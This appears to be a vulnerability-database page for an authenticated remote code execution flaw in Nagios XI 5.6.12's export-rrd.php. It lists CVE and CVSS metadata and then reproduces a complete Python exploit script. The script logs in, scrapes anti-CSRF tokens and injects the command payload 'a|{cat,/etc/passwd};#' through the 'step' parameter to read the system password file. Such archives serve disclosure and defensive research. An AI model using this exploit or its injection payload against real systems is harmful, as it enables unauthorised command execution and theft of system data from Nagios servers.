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Nagios XI 5.6.12 export-rrd.php Remote Code Execution

CVE	Category	Price	Severity
CVE-2018-25276	CWE-94	$5,000	High

Author	Risk	Exploitation Type	Date
Sergey Bobrov	High	Remote	2020-07-07

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	High	PR	The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020070028

Below is a copy:

Nagios XI 5.6.12 export-rrd.php Remote Code Execution

# Exploit Title: Nagios XI 5.6.12 - 'export-rrd.php' Remote Code Execution
# Date: 2020-04-11
# Exploit Author: Basim Alabdullah
# Vendor homepage: https://www.nagios.com
# Version: 5.6.12
# Software link: https://www.nagios.com/downloads/nagios-xi/
# Tested on: CentOS REDHAT 7.7.1908 (core)
#
#                 Authenticated Remote Code Execution
#

import requests
import sys
import re


uname=sys.argv[2]
upass=sys.argv[3]
ipvictim=sys.argv[1]

with requests.session() as s:
    urlz=ipvictim+"/login.php"
    headers = {
        'Accept-Encoding': 'gzip, deflate, sdch',
        'Accept-Language': 'en-US,en;q=0.8',
        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
        'Referer': ipvictim+'/index.php',
        'Connection': 'keep-alive'
    }
    response = s.get(urlz, headers=headers)
    txt=response.text
    x=re.findall('var nsp_str = "(.*?)"', txt)
    for xx in x:
        login = {
        'username':uname,
        'password':upass,
        'nsp':xx,
        'page':'auth',
        'debug':'',
        'pageopt':'login',
        'redirect':ipvictim+'/index.php',
        'loginButton':''
        }
        rev=s.post(ipvictim+"/login.php",data=login , headers=headers)
        cmd=s.get(ipvictim+"/includes/components/ccm/?cmd=modify&type=host&id=1&page=1",allow_redirects=True)
        txt1=cmd.text
        xp=re.findall('var nsp_str = "(.*?)"', txt1)
        for xxp in xp:
            payload = "a|{cat,/etc/passwd};#"
            exploit=s.get(ipvictim+"/includes/components/xicore/export-rrd.php?host=localhost&service=Root%20Partition&start=011&end=012&step="+payload+"&type=a&nsp="+xxp)
            print(exploit.text)

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